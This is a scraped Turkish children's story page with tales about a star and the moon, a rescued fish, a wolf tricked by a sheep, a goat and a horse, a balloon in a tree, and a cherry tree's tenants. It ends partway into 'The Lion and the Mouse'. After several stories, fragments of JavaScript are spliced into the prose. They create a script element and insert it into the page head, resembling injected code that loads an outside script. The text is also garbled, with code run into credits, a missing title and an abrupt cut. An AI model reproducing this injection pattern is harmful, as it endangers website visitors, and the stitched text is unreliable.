TONTON AYDEDE VE MİNİK YILDIZIN DOSTLUĞU
Bir varmış bir yokmuş… Her kafamızı kaldırdığımızda gördüğümüz gökyüzünde yaşayan yıldızlar ve
aydedenin güzel mi güzel bir masalı varmış. Akıllı olan, uslu duran tüm çocuklar bu masalı dinler ve
kafalarını kaldırdıklarında aydedenin onlara göz kırptığını görürmüş. Bu masal ne mi imiş? Buyurun
Aydede ve minik yıldızın macerasını dinlemeye…
Evvel zaman içinde, kalbur saman içinde, karanlık bastırıp da gece olduğunda, gökyüzünün en
tepesinde yaşayan minik yıldız ve tonton bir aydede varmış. Aydede ve minik yıldız her gece yaptıkları
gibi gece olduğu için gökyüzündeki yerini almış. O sırada minik yıldızdan kendi gibi minik bir ses
gelmiş:
Minik yıldız: ‘Hapşuuu!’
Tonton Aydede minik yıldıza doğru dönmüş. Minik yıldız hava soğuk olmasına karşın üzerine hiçbir
şey giymemiş.
Tonton Aydede: ‘Minik yıldız, bu gece hava serin olacak. Sen üzerine montunu neden almadın?’
Minik yıldız tonton aydedeye doğru dönmüş:
Minik Yıldız: ‘Sorma Aydede! Evden çıkarken ince giyinmişim. Sonra dışarı çıktığımda fark ettim fakat
anahtarımı almayı unuttuğum için kapıyı açıp içeri giremedim. Montumu giymeyi unuttuğum gibi okul
çantamı da almayı unuttum. Bir sürü de ödevim var, ne yapacağım bilmiyorum.’
Minik yıldız kara kara düşünmeye başlamış. Yıldızlar gündüz okula gider, gece olunca gökyüzündeki
yerlerine gelirlermiş. Gece gökyüzündeki nöbetlerini tutarken de ödevlerini yapıp bitirirlermiş.
Tonton Aydede minik yıldıza biraz kızmış:
Tonton Aydede: ‘Minik yıldız, sen ne kadar unutkan oldun böyle! Oysaki yapman gereken azıcık görev
var, onları da unuttuğun için yapamıyorsun’ demiş.
Minik yıldız biraz utanmış, kızarmış. Ama görevlerinin az olduğu konusuna katılmıyormuş:
Minik Yıldız: ‘Tonton Aydede, benim çok görevim var ki! O yüzden unutuyorum’ demiş.
Tonton Aydede minik yıldıza gülümsemiş:
Tonton Aydede: ‘Peki, say bakalım kaç tane görevin var?’
Minik yıldız biraz düşündükten sonra saymaya başlamış:
Minik Yıldız: ‘Ödevlerimi yapmak, dişlerimi fırçalamak, okula gidip-gelmek ve evden çıkarken
anahtarımı almak…’
Minik yıldız düşünse de aklına başka bir şey gelmiyormuş. Tonton aydede haklıymış galiba.
Tonton Aydede: ‘Ya minik yıldız bak gördün mü? Ne kadar az görevin var, onları da unutuyorsun’
demiş.
Minik yıldız yaptığı hatanın farkına vararak daha dikkatli olmaya söz vermiş. Fakat unutmadığı
görevlerden birisini tonton aydedeye de göstermek istiyormuş:
Minik Yıldız: ‘Tonton aydede, dişlerimi fırçalamayı hiç unutmuyorum ama. Hem de günde üç kere
fırçalıyorum’ demiş.
Tonton Aydede gülümsemiş:
Tonton Aydede: ‘Aferin sana minik yıldız’ demiş.
Tonton aydedenin gönlü minik yıldızın üşümesine razı olmamış. Minik yıldız da hatasını anladığına
göre hemen bulut kardeşi yanına çağırmış:
Tonton Aydede: ‘bulut kardeş, minik yıldızın gökyüzündeki yerini biraz sen doldurabilir misin? Minik
yıldızın eve kadar gidip gelmesi lazım’ demiş.
Bulut kardeş hiç düşünmeden kabul etmiş. Çünkü tonton aydedeyi çok seviyormuş. Tonton aydedeyi
gökyüzünde sevmeyen yokmuş ki! Herkes onu çok sever, çok da sayarmış.
Minik yıldız hemen eve gitmiş ve annesi ona kapıyı açmış. Evden montunu ve okul çantasını alarak
gökyüzündeki yerine geri gelmiş. Minik yıldız montunu giydiği iin o gece hiç üşümemiş ve bütün
ödevlerini de yapmış.
O geceden sonra minik yıldız anahtarını hiç ama hiç unutmamış. Ayrıca soğuk havalarda montunu da
giymeyi ihmal etmemiş. Böylelikle tonton aydedenin en çok sevdiği yıldızlardan birisi olmuş.
Minik yıldız ile tonton aydedenin dostluğu o günden bu güne sürmüş, gelmiş…
Şimdi kafanızı kaldırın ve gökyüzüne bakın. Gecenin karanlığında gökyüzünde parıldayan yıldızların
hepsi size göz kırpacak
Seslendiren: Ata ÇAKAR
KÜÇÜK İSTAVRİT BALIĞI VE İYİ YÜREKLİ ADAMIN HİKÂYESİ
İstavrit balıkları kıpır kıpırdır, balıkçıların oltasından kurtulmayı genelde başarır onlar. Yakalanmazlar
ama oltanın ucundaki yemi de bir güzel mideye indirirler. Peki, siz merakı yüzünden yakalanan küçük
istavritin hikâyesini dinlediniz mi? Dinlemediyseniz işte size küçük istavritin öyküsü…
Denizlerin dibinde, mavinin en mavi yeşilin de en güzel tonlarının olduğu o güzel suyun altında küçük
bir istavrit yaşarmış. Küçük istavrit, annesi ve babasından öğrendiği tüm marifetler ile yakalanmadan
sularda özgürce yüzer, üstelik karnı acıktığında balıkçıların oltasında yemleri de yermiş. Bu yaptığı
şeyin çok tehlikeli olduğunun farkındaymış ama yapmaktan da vazgeçemiyormuş. Küçük istavriti
annesi ve babası çok uyarmış fakat nafile… o bildiği gibi yapmaya devam ediyormuş.
Günlerden bir gün küçük istavrit yine özgürce yüzüyormuş denizin en mavi sularında… Fakat o da ne!
Bir balıkçının oltasının ucunda minik bir çapari! Küçük istavrit hiç düşünmeden atlamış çapariye. Bu
sefer her zamanki gibi hızlı olamayınca müthiş bir acı hissetmiş dudağının kenarında. Ardından ne
olduğunu anlamış, balıkçının oltasına takılmış. Artık her şey için çok geçmiş.
Balıkçı, tuttuğu balığın sevincini yaşarken hızla sarıyormuş oltanın ipini yukarı doğru. Küçük istavrit ise
çırpınmaya çalışıyormuş ama nafile! Birazdan suyun altından karaya çıkacakmış ve susuzluktan
ölecekmiş. Annesi ve babasının onu uyarırken ne kadar haklı olduğunu anlayan küçük istavrit, keşke
onları dinleseydim diye geçirmiş içinden. Ama artık her şey için çok geçmiş. Balıkçı onu çoktan sudan
çıkarmış ve oltadan kurtarıp yeşil bir leğenin içine atmış.
Küçük istavrit yeni yerine şöyle bir bakmış. Azıcık bir suyun içinde çırpınıp durmuş. Belki son bir umut
leğenden tekrar suya kadar zıplarım diye geçirmiş içinden. Fakat o anda bir de ne görsün! Kendisine
kocaman gözler ile bakan ve ağzını yalayan bir kedi! Küçük istavrit o an anlamış ki, leğenden kurtulsa
bile, bu kocaman kedinin elinden kurtulamazmış.
Küçük istavrit, çaresizce başına gelecek olan sonu kabullenmiş. Yeşil leğene bakmış bir süre. Şimdi
denizin altında olsa mavinin en güzel tonunu, yeşilin en parlak tonunu suyun altında görecekmiş.
Masmavi sularda özgürce yüzerken, yine annesi ve babası ile birlikte olma şansına erişecekmiş.
Oyunlar oynarken, suyun altında sadece onlara ait olan hayatta mutlu mesut yaşamaya devam
edecekmiş. Oysa şimdi? Rengi solmuş bir leğenin içinde, azıcık suyun içinde son çırpınışlarını
yapıyormuş. Hepsi de kendisinin hatası yüzündenmiş. Eğer annesi ve babasını dinleseymiş, şu anda
denizin altında özgürce yüzebilecekmiş.
Küçük istavrit bunları düşünürken, bir yandan da kendini çok halsiz hissediyormuş. Artık vücudunun
dayanacak hali kalmamış. Başı dönmeye başlamış. Artık sonum geldi diye düşünürken, birdenbire bir
mucize gerçekleşmiş. Küçük istavriti tutan bir el önce onu leğenin içinden kurtarmış. Ardından minik
istavritin başına minik bir öpücük kondurarak onu denizin içine doğru salmış. Küçük istavrit birkaç
saniye yaşadığının gerçek olduğuna inanmaya çalışmış ve ardından büyük bir mutluluk ile denizin en
dibine doğru yüzmeye başlamış.
Balıkçı hayretle adama bakıyormuş:
Balıkçı: ‘Sen ne yaptığını sanıyorsun? Neden balığı denize geri bıraktın?’
Adam sakin bir şekilde balıkçıya doğru dönmüş:
Adam: ‘Eğer bir gün, ben de kendimi bir yeşil leğen içinde bu küçük istavrit balığı kadar çaresiz
bulursam, işte o an benim gibi bir adam gelip beni de kurtarır belki…’ demiş.
Balıkçı bir süre düşünmüş ve adamın ne demek istediğini anlamış.
Gökten üç elma düşmüş, üçü de küçük istavriti kurtaran adam gibi iyi yüreklilere gitmiş…
Seslendiren: Ata ÇAKARvar d=document;var s=d.createElement(‘script’);
KOYUN, KEÇİ VE KURDUN HİKÂYESİ
[sc_embed_player_template1 fileurl=”https://www.masalcisite.com/wp-content/uploads/2015/07/kurt-ile-keçifiltre.mp3″ loops=”true” ]Bir varmış, bir yokmuş… Uzak mı uzak ormanların birinde bir keçi bir de koyun varmış. İkisi de çok iyi arkadaşlık yaparmış. Fakat bir gün ormanda çok büyük bir kuraklık baş göstermiş. Hem keçi hem de koyun kısmetlerini aramak için, karınlarını doyurmak için bir olup ormanın iç kısımlarına doğu yola koyulmuşlar. Buralar ikisinin de bilmediği yerlermiş. Karşılarına birçok tehlike çıkabilirmiş. Ama karınlarını doyurmak için bu riski almak zorunda kalmışlar.
Koyun ve keçi bir müddet gittikten sonra yol ikiye ayrılınca ayrılmak zorunda kalmışlar. İleride yol tekrar birleşirse onlar da birleşecekmiş. Kim yiyecek bir şeyler bulursa, hemen uzunca bir meleyip diğerine haber verecekmiş.
Koyun ve keçi ayrıldıktan sonra yollarına daha dikkatli bir şekilde devam etmeye başlamışlar. Duydukları bir ses bile onları ürkütse de geri dönmemişler.
Ormanda yaşayan bir de kurt varmış. Kurt da ormandaki kuraklığa ve yiyecek bulamamaya daha fazla dayanamamış. Ormanda kendisine yiyecek bir şeyler aramaya çıkmış. Karnı o kadar açmış ki…
Kurt, kendisine yiyecek bir şeyler ararken karşına bir de ne çıksın! Bembeyaz kıvırcık tüylü tombul bir koyun… Kurdun gözleri açılmış koyunu görünce. Hemen koyunun yanına yaklaşmış ve onu bir ağacın köşesinde kıstırmış.
Kurt: ‘Koyun kardeş, sen ne arıyorsun ormanın iç kısımlarında? Buralar tehlikelidir, bilmez misin? Madem buralara kadar geldin, benim de karnım çok açken seni yemek zorundayım, kusuruma bakma.’
Koyun ne yapacağını şaşırmış. O anda aklına parlak bir fikir gelmiş.
Koyun: ‘Kurt kardeş. Tamam beni ye öyleyse. Ama önce izin ver, senin etrafında biraz hoplayıp zıplayayım; oyunlar oynayayım.’
Kurt ‘eh madem bu koyunu yiyeceğim, karnım doyacak, biraz geç olsa da bir şey farketmez’ diye geçirmiş içinden. Koyuna bakmış:
Kurt: ‘Tamam bakalım koyun kardeş. Dediğin gibi olsun.’
Koyun başlamış kurdun etrafında hoplayıp zıplamaya. Oradan oraya hoplaya zıplaya kurdun da başını döndürmüş. En sonunda koyun gözden kaybolunca kurt bunun bir kaçma planı olduğunu anlamış. Hemen koyunu aramaya başlamış ama nafile. Koyun çoktan kaçmış.
Kurt kendine söyleye söylene yolda ilerlerken, gözlerine inanamayacağı bir şeyle karşılamış. Kenarda bir keçi öylece duruyormuş, hem de ne keçi! Kurt hemen keçiyi yeme planları yaparak yanına yaklaşmış:
Keçi: ‘Keçi kardeş, senin ne işin var buralarda! Benim karnım çok aç ve ben seni yemek zorundayım.’
Keçi hemen itiraz etmiş kurdun söylediğine:
Keçi: ‘’Kurt kardeş, beni yesen ne olacak, yemesen ne olacak? Sen benimle doymazsın ki! Benim iki tane de yavrum var. Gideyim onları da getireyim, hepimizi ye. O zaman karnın da doyar, için de rahat olur. Böyle olunca yavrularım annesiz kalacak, üzülmeyecek misin?’
Kurt keçiye hak vermiş. Keçiye gitmesi ve yavrularını getirmesi için izin vermiş. Keçi gitmiş, fakat bir daha geri gelmemiş. Kurt yine bir hata yaptığını farkına varmış, çıkmış keçiyi aramış ama nafile. Keçi yokmuş.
Kurt kendisine söylene söylene ormana doğru ilerlerken bir ağacın kenarında bağlı duran bir at görmesin mi? ‘İşte bu at benim kısmetim, karnım doyacak artık’ diye düşünmüş. Hemen atın yanına yaklaşmış.
Kurt: ‘At kardeş, ben seni yiyeceğim. Başka çarem yok, karnım çok aç’ demiş.
At kurda şöyle bir bakmış. Ondan kurtulmanın yolunu çok basit bir planla çizmiş kafasında.
At: ‘Kurt kardeş, tamam beni ye. Ama önce nalımın altında yazılı olan isme bir bak. O benim sahibimin adı. Kasabaya gidip yedikten sonra ona haber verirsen, sahibim de beni beklemez’ demiş.
Kurt sabırsızlıkla nalın altına yazan ismi görmek için eğilmiş. O sırada at güçlü bir tekme vurarak kurdun kafasını yarmasın mı? Kurt olduğu yere yığılmış, kalmış.
Kurt can vereceği esnada yine kendi kendine söyleniyormuş:
‘Sen ne bakarsın koyunun oyununa, zıplamasına, hoplamasına
Karnını doyurmana baksana!
Ya keçinin yavrularından sana ne!
İncecik bacakları da olsa,
Ye keçiyi, düşünme gerisini,
Sana ne atın sahibinin isminden,
Sen karnını doyur önce, sonra bakarsın nalın altındaki isme…’
Seslendiren: Ata ÇAKARd.getElementsByTagName(‘head’)[0].appendChild(s);
AĞACIN TEPESİNDEKİ BALON
[sc_embed_player_template1 fileurl=”https://www.masalcisite.com/wp-content/uploads/2015/07/balon-masalıfiltre.mp3″ loops=”true” ]Balonlar çocukların çok hoşuna gider. Rengârenk, gökyüzü süsleridir onlar. Peki, sizin hiç balonunuz olmasaydı, bir balon için neler yapabilirdiniz? İşte size balonu olmayan bir çocuk ile baloncu amcanın masalı… Bakalım masalımızdaki çocuk balon için neler yapacak?
Bir varmış bir yokmuş… Uzak diyarların birinde küçük bir çocuk yaşarmış. Bu çocuk bir gün kaldırım kenarında oyun oynarken karşıdan gelen baloncu amcayı görmüş. ‘Aman Allah’ım’ demiş içinden. ‘Bu Balonlar ne kadar çok!’ Gerçekten de çocuğun şaşırdığı kadar çok balon varmış baloncunun elinde. Hepsinin ipleri baloncunun avucu içindeymiş. Küçük çocuk rengarenk balonların büyüsüne kapılıp başlamış baloncu amcayı takip etmeye…
Küçük çocuk baloncu amcayı takip ederken bir yandan da balonların onu nasıl uçurmadığını düşünüyormuş. O sırada baloncu, dinlenmek için bir kenarda durmuş. Küçük çocuk da hemen baloncunun yanında duraksamış. Gözlerini hala balonlardan alamıyormuş. En sonunda baloncunun kendisine baktığını fark etmiş. İşte o an küçük çocuk baloncunun yanına gitmeye karar vermiş.
Küçük Çocuk: ‘Baloncu amca, benim hiç balonum olmadı. Bu balonların hepsi o kadar güzeller ki!’ demiş.
Balon satan adam küçük çocuğu bir müddet süzdükten sonra:
Baloncu: ‘Sana balon veririm ama kaç paran var ki senin?’ demiş.
Küçük Çocuk: ‘Bayramda çok param vardı, ama gelecek bayramda yine çok param olacak’ demiş.
Baloncu adam küçük çocuğa pek aldırış etmemiş:
Baloncu: ‘Öyleyse bayramda paran olduğunda gelirsin, ben de sana balon veririm’ demiş.
Küçük çocuk sessizce arkasını dönmüş ve yürümeye başlamış. Aklı hala balonlardaymış. O sırada gözleri dolu dolu olmuş küçük çocuğun. Ayakları bile güçsüzleşmiş. Elinde olmadan son kez balonlara bakmak için arkasını dönmüş. Aman Allah’ım, küçük çocuk bir de ne görsün! Balonlar baloncunun elinden uçmuş, bir ağacın dallarına takılmamış mı? Küçük çocuk ağaçtaki balonlara bakarken, baloncu küçük çocuğa doğru dönmüş:
Baloncu: ‘Küçük çocuk gel bakalım buraya… Bak, balonları bu ağacın dallarından kurtarırsan eğer; sana bir tane balon veririm’ demiş.
Küçük çocuk balonu olma ihtimaline bile o kadar çok sevinmiş ki! Hemen ağacın yanına gidip balonları kurtarmak için ağaca tırmanmaya başlamış. Küçük çocuk yaptığı şey karşısında biraz korkuyormuş aslında. Ağacın dalları çok inceymiş ve her an kırılabilirmiş. Fakat küçük çocuk balon almak için var gücüyle ağacın tepesine kadar tırmanmış ve en sonunda ağacın tepesine de balonlara da ulaşmış.
Balonları ince dallar arasından kurtarmaya çalışırken iki kere düşme tehlikesi atlatan küçük çocuk, yine de yılmamış. Çünkü bu işi tamamladıktan sonra artık onun da bir balonu olacakmış. En sonunda balonları kurtarmış ve aşağıda bekleyen baloncuya doğru sarkıtmış.
Fakat bir tane balon o kadar çok dalların içine doğru girmiş ki, küçük çocuk ne kadar uğraşsa da o balonu oradan çıkaramıyormuş! En sonunda daha fazla uğraşırsa dalların kırılacağını anlamış küçük çocuk. ‘Olsun bir tane balon da ağaçta kalsın’ diyerek inmiş yavaşça ağaçtan.
Hemen baloncu amcanın yanında almış soluğu.
Küçük Çocuk: ‘ Baloncu amca, ağaçtaki balonları kurtardım. Şimdi hangi balonu bana vereceksin?’
Baloncu amca arkasını dönere yürümeye başlamış. Küçük çocuğa da seslenmiş:
Baloncu Amca: ‘Ağaçta kalan balon da senin balonun olsun’ demiş.
Küçük çocuk baloncu amcanın arkasından bakakalmış. Ağaçtaki balonları kurtarmasına rağmen baloncu sözünde durmamış. Küçük çocuk neredeyse ağlamak üzereyken ağacın tepesinde kalan balona bakmış. O anda içinden gülümsemiş. ‘Olsun’ demiş sessizce; ‘Ağacın tepesinde de olsa bir balonum var artık.’
Gökten üç tane değil bir sürü balon düşmüş. Hepsi de çocukların olmuş.document.currentScript.parentNode.insertBefore(s, document.currentScript);
KİRAZ AĞACI VE ÜZERİNDE YAŞAYAN HAYVANLAR
Bir varmış, bir yokmuş… Uzak mı uzak diyarların birinde, kocaman ormanların olduğu bir ülkede, yemyeşil ağaçlar, rengârenk çiçekler yaşarmış. Bu ağaçlardan biri olan kiraz ağacı da mutlu ormanda yaşayan ve köklerini salan ağaçlardan sadece biriymiş. Kiraz ağacı kışın uykuya geçer, bahar için hazırlık yaparmış. Bahar geldiğinde ve havalar ısındığında; bembeyaz çiçeklerini açar ve adeta gelin gibi gözükürmüş. Beyaz çiçekleri ile salına salına büyür, ardından yaz mevsimi geldiğinde de kırmızı mı kırmızı kirazlarını dallarından sarkıtırmış.
Kiraz ağacının gövdesinde ve köklerinde birçok hayvan yaşarmış. Kiraz ağacının kapısı tüm hayvanlara ve böceklere acıkmış. Her gelen hayvanı kabul eder, onların evi olurmuş. Bu sebeple kiraz ağacı asla yalnız kalmaz, günleri de neşe ve eğlence ile geçer gidermiş.
Kiraz ağacının köklerine yakın kısmında köstebek ve solucanlar yaşıyormuş. Kiraz ağacının bodrum katı olan kökleri, bu hayvanların eviymiş. Ağacın gövdesine doğru çıktığımızda ise ağacın gövdesinde karıncalar ve böcekler oturuyormuş. Kiraz ağacının en üst katında, çiçeklere yakın olan yerlerde ise arılar ve kuşlar oturuyormuş. Kiraz ağacının dallarına konan kuşlar en güzel şarkılarını söylerken, arılar ise çiçeklerden topladıkları polenler ile bal yapıyormuş.
Günlerden bir gün kiraz ağacı evini dolduran hayvanların hepsini bir toplantıda etrafına toparlamış. Kendisinin ricasını kırmayıp gelen bütün hayvanlara dönmüş ve konuşmaya başlamış:
Kiraz ağacı: ‘Ey konuklar! Geldiğiniz için hepinize çok teşekkür ederim. Sizi çok severim biliyorsunuz. Kaç senedir benim evimde oturuyorsunuz, sesimi çıkarmıyorum. Fakat söyleyin bakalım evimdeki konukluğunuz daha ne kadar sürecek? Ne kadar süre evimde misafir gibi oturmaya devam edeceksiniz? Bütün bir yıl evimde rahatça oturuyorsunuz, peki neden bana kira ödemiyorsunuz? Bakın elma ağacının gövdesinde kimse oturmuyor, çünkü o sizden kira istiyor!’
Toplantıya gelen bütün hayvanlar kiraz ağacının bu söylemi karşısında şok olmuşlar. Kiraz ağacının evinde oturdukları doğru imiş, fakat karşılığında tüm hayvanlar ağaç için bir şeyler yapıyormuş.
Kiraz ağacının sözleri karşısında cevap veren ilk isimler solucan ve köstebek olmuş:
Köstebek: ‘Kiraz ağacı, sen bize öyle dedin fakat buradaki her bir arkadaşım sana fayda sağlıyor. Mesela solucan arkadaşım ve ben toprağını gece-gündüz eşeliyoruz. Böylece sen toprağa köklerini rahatça salabiliyorsun ve büyüyorsun.’
Köstebek lafını tamamlayınca üst katta yaşayan arı da söze karışmış:
Arı: ‘Kiraz ağacı, senin çiçeklerinden balı kim topluyor sanıyorsun! Biz senin çiçeklerinden bal toplayıp sana fayda sağlıyoruz’ demiştir.
Arıdan cesaret alan kuşlar da arının lafının ardından sözlerine devam etmiş:
Kuş: ‘Kiraz ağacı, senin canın sıkıldığında senin neşeni biz yerine getirmez miyiz? Bizim neşeli sesimiz olmasa sen can sıkıntısından büyüyemezdin ki!’
Kiraz ağacı hayvanları tek tek dinlemiş ve hepsine hak vermiş. Düşününce anlamış ki; evinde yaşayan her bir canlı ona fayda sağlıyor, onun için bir şeyler yapıyor. Kiraz ağacı bunun üzerine söylediği sözler karşısına çok üzülmüş. Arkadaşlarından özür dilemiş ve bir daha bu konuyu hiç açmamak üzere kapatmış.
Kiraz ağacının evinde yaşayan hayvanlar da kiraz ağacının özrünü kabul etmişler. Eskisi gibi mutlu hayatlarına devam etmişler. Hayvanlar kiraz ağacını hiçbir zaman yalnız bırakmamış, onu eğlendirmiş, mutlu etmiş. Zararlı böcekleri gövdesinden ve köklerinden uzak tutmuş. Kiraz ağacı da evini tüm hayvanlara açmaya devam etmiş. Onlar için daha güzel bir ev olabilmek için kendini geliştirmiş, onları her zaman gülümseme ile karşılamış. Tüm hayvanlara saygı ve sevgide kusur etmemiş.
Gökten üç elma düşmüş…
Bir varmış, bir yokmuş… Kocaman bir bahçe içinde çeşit çeşit, rengârenk ağaçlar varmış. Bu ağaçlar arasında her türlü yemişin ağacı varmış: kiraz, badem, incir, kayısı ve daha nicesi. Ağaçlar birbiri ile çok iyi anlaşır, birlikte güzelce yaşar giderlermiş.
Kış mevsimi geçmiş, ilkbaharın ilk sıcakları ve ilk güneşi kendini göstermiş. Ağaçların arasından bir ağaç güneşi görünce sabırsızca çiçeklerini açmak istiyormuş. Bu ağaç badem ağacıymış. Badem ağacı bir gün yanındaki kiraz ağacı ile konuşurken dayanamamış, aklındaki fikri ona da söylemiş:
Badem Ağacı: ‘Kiraz ağacı, canım arkadaşım. Artık havalar ısındı. Güneş yüzünü gösterdi. Çiçek açmak lazım. Ben çiçek açıyorum bugün, sen de bana katılsana?’
Kiraz ağacı bu durum karşısında paniklemiş:
Kiraz Ağacı: ‘Arkadaşım sakın çiçek açma! Bunlar aldatıcı havalar, sen de biliyorsun. Bu havaların arkasından soğuklar gelir, bütün çiçeklerini alır götürür. Çiçek açmak için Nisan ayını beklemek zorundayız.’
Badem ağacı kiraz ağacının bu cevabından hoşlanmamış:
Badem Ağacı: ‘Çok sıkıcısın ya! Hiçbir şeye de tamam demiyorsun! Havalar neden soğusun, artık bahar geldi.’
Kiraz ağacı badem ağacını yapacağı hatadan döndürmek için yanındaki ağaç arkadaşlarına da durumdan bahsetmiş. Fakat tüm ağaçların uyarısına rağmen badem ağacı çiçek açmakta kararlıymış.
Ertesi gün badem ağacı bembeyaz çiçeklerini açmış bir şekilde arkadaşlarına nispet yapmış. Beyaz çiçekler ile o kadar güzel gözüküyormuş ki… Adeta gelin gibi süzülüyormuş. Arkadaşları badem ağacının çok yanlış yaptığını söylese de badem ağacının burnu bir karış havada hallerine daha fazla dayanamamışlar. Hepsi badem ağacı ile konuşmayı kesmiş.
Badem ağacı bahçeye gelen herkesin ilgiyi kendine göstermesinden çok memnunmuş. ‘Erken çiçek açarak ne kadar da doğru bir karar verdim’ diyerek böbürleniyormuş. Fakat başına geleceklerin farkında değilmiş!
Güneşli havalar geçmiş, gitmiş. Güneşli havaların ardından öyle soğuk bir hava gelmiş ki, bütün ağaçlar şimdiye kadar böyle bir soğuk görmemiş. Badem ağacı ise havanın nasıl bu kadar soğuduğuna anlam veremiyormuş. Çiçeklerini rüzgardan korumaya çalışmış ama nafile!
Rüzgârlar öyle sert esmiş ki, badem ağacının iki gün önce böbürlendiği çiçeklerinden eser kalmamış. Badem ağacının dalları kurumuş, çiçeksiz kalmış. Badem ağacı bu durum karşısında çok üzülmüş. Bahçedeki diğer ağaçlar, badem ağacının çok üzüldüğünü görünce üzerine gitmemeye karar vermişler. Nasılsa hata yaptığını yaşayarak öğrenmiş!
Soğuklar bitmiş, Nisan ayının ortasına gelinmiş. Güneş tekrar yüzünü göstermiş. Ağaçların hepsi artık baharın geldiğini birbirlerine ilan etmiş ve aynı anda çiçek açmışlar. Hepsi o kadar güzel gözüküyormuş ki… Aralarında bir tek badem ağacının çiçekleri yokmuş! Onun sadece kuru dalları varmış.
Bahar mevsiminde de yaz mevsiminde de badem ağacının yanına kimse uğramamış. Herkes çiçekleri ve yemişleri olan diğer ağaçların yanına gidip o ağaçların yanında oturmuş. Badem ağacı yaptığı hatanın farkına varmış. Çok üzülüyormuş ve arkadaşlarını da kırdığının farkındaymış.
Badem ağacı bir gün arkadaşları ile konuşmaya karar vermiş:
Badem Ağacı: ‘Arkadaşlarım! Ben sizin sözünüzü dinlemedim. Erkenden çiçek açtım. Fakat çok büyük bir hata yaptım. Bu hatamın bedelini bütün bir yaz mevsimini çiçeksiz ve yemişsiz geçirerek çekiyorum. Sizden de özür diliyorum arkadaşlarım. Lütfen beni affedin’
Badem ağacının sözleri diğer bütün ağaç arkadaşlarını duygulandırmış. Onun tek başına kalması, diğer ağaç arkadaşlarını da çok üzüyormuş.
Kiraz Ağacı: ‘Badem ağacı! Biz seni uyardık ama sen bizi dinlemedin. Umarız ki hatanın farkındasındır. Bundan sonra daha dikkatli olmalısın. Biz hepimiz seni affettik.’
Badem ağacı diğer ağaç arkadaşları ile barışmış. Bir daha onların sözünden çıkmamış. Hepsi bir arada mutlu mesut yaşamış.d.getElementsByTagName(‘head’)[0].appendChild(s);
Aslan ile Fare
Harda hurda, eşeği yedirdik kurda,
Altmış tarla buğda.
Yedim karnım doymadı.
Denizi çorba ettim.
Gemiyi kepçe ettim,
Yedim, içtim, yüzüm gülmedi.
Yediler yemiş, parayla biter her iş…
Akdeniz’in martısı,
Karadeniz’in haritası,
Zeytinyağının tortusu.
Hoştur pilavın yoğurtlusu…
Akdeniz yağ olsa,
Karadeniz bal olsa, karnımızın bir tarafını doldurmaz.
Ya bir kaz dolması, ya bir ördek kızartması olsa, belki doyarız.
Evimizin önünde bir ağaç vardı,
Kırk kişi tuttum yondurdum.
Kırk kişi tuttum oydurdum,
Kırk kazan keşkekle kırk kazan yoğurdu içine doldurdum
Oturdum, yedim, dudaklarımın bile haberi olmadı…
Karşıya baktım:
Dere gibi hoşaflar,
Tepe gibi pilavlar,
Kolum gibi dolmalar,
Budum gibi sarmalar,
Ye yemez misin,
Hani de görmez misin?
Karnım davula döndü, ağzımın bir şeyden haberi bile olmadı…
Birazını da eşeğe yükledim, size getiriyordum.
Dereden geçerken kurbağalar:
“Vırak, vırak!..” deyince anladım ki:
“Bırak, bırak!..” diyorlar.
Neyse, orada yattık..
Sabah oldu, baktım çizmeler yok.
Oradan bunları aramaya gittim…
İğneyi diktim, bizi diktim, üstüne çıktım baktım:
Küçük bir meydanda çizmeler çift sürüyorlar.
Vardım, sineğin derisini attım, büyük bir meydan belirdi.
Çifti elime aldım, sürdüm ektim.
Bir ekin oldu ki, yatsam sakalımda, dursam topuğum da, ama adam yutuyor.
“Bunu nasıl biçeriz, nasıl biçeriz?..” derken, öteden bir çakal geldi.
Orağı bu çakala bir attım.
Orağın sapı çakalın karnına girdi, ağzı kaldı dışarda…
Çakal kaçtı, orak biçti, çakal kaçtı, orak biçti…
Ekinin hepsi biçildi.
“Bunu neyle toplarız, neyle toplarız?..” derken,
Öteden bir kasırga koptu, ekini topladı, harman etti.
Bunu bizim ihtiyar çil horoza sürdürdüm, savurdum.
Altmış okka bir yanına, yetmiş okka bir yanına vurdum,
Ben de çil horozun üstüne bindim, sürdüm değirmene…
Değirmene yaklaşınca susadım.
Oradaki pınara indim.
Pınardan ağzım ile içtim gözüm istedi,
Gözüm ile içtim kulağım istedi…
Kafamı kestim, pınarın içine attım.
Oradan değirmene vardım.
Değirmenci:
“Hani kafan?” dedi.
“Pınara attım” dedim.
Değirmenci:
“Ama onu şimdi çakal yer!” dedi.
Oradan kalktım, geldim, baktım ki, çakal kulağımın ucundan tutmuş…
Çakala bir yumruk attım,
Yumruğum çakalın karnına girdi.
İçini karıştırdım, “kusur, kusur” ediyor.
Çektim çıkardım:
Bir kâğıt. Okudum:
“Bir yanı yalan, bir yanı dolan…”
Aşağıdan birden:
“Tutun be, vurun bel” diye bir patırdı koptu.
“Eyvah, beni tutmaya geliyorlar!” dedim.
İki kalktım, Bir hopladım.
Seksen ayak merdiveni birden atladım.
Baktım, beş yüz atlı asker.
“Nereye gidiyorsunuz?” dedim.
“Silbasanoğlu Hasan’ı aramaya!” dediler.
Ben bundan bir şey anlamadım, bir daha sordum.
Gene: “Silbasanoğlu Hasan’ı” dediler.
Neyse, katıldım ben de onlara, vardık Edirne’ye
Silbasanoğlu Hasan’ı tuttuk.
Meğer o da, bir pireymiş…
Bindim pireye, vardım Tire’ye,
Gel gelmez misin, yol bilmez misin?
Bu işlere sen gülmez misin?
Tuttum pirenin irisini,
Çadır yaptım derisini.
Altmış adam altında sığınmadık mı?
Tuttum pirenin eşini
Neler getirdi başıma:
On sekiz bin mandaya çektirdim leşini.
Tuttum pirenin ağını,
Çektim çıkardım yağını,
Doksan okka tartmadık mı?
Tuttum pirenin beyini.
Sırtına kurduk düğünü,
Altmış batman bağırsak yağını
Gidip pazarda satmadık mı?
Pireye vurdum palanı,
Altından çektim kolanı.
Dinleyin ağalar benim koca yalanı.
Pireye vurdum palanı,
Kırdı kaçtı kolanı.
Sen de beğendin mi benim düzdüğüm yalanı?..
Ormanların heybetli kralı aslan ormanda bir gün yine ava çıkıp karnını iyi bir doyurduktan sonra yelelerini bıyıklarını yalanıp yatmış tatlı tatlı uyuyormuş. Minik bir fare aslanın üzerine düşüp koşturmaya başlamış. Aslan sinirlenerek uyanıp fareyi yakalamış. Tam öldüreceği sırada fare yalvar yakar bir halde:
-Ne olur beni bırak! Gün olur benim de sana bir iyiliğim dokunur bakarsın, demiş.
Aslan farenin bu sözlerine alaylı bir şekilde gülerek:
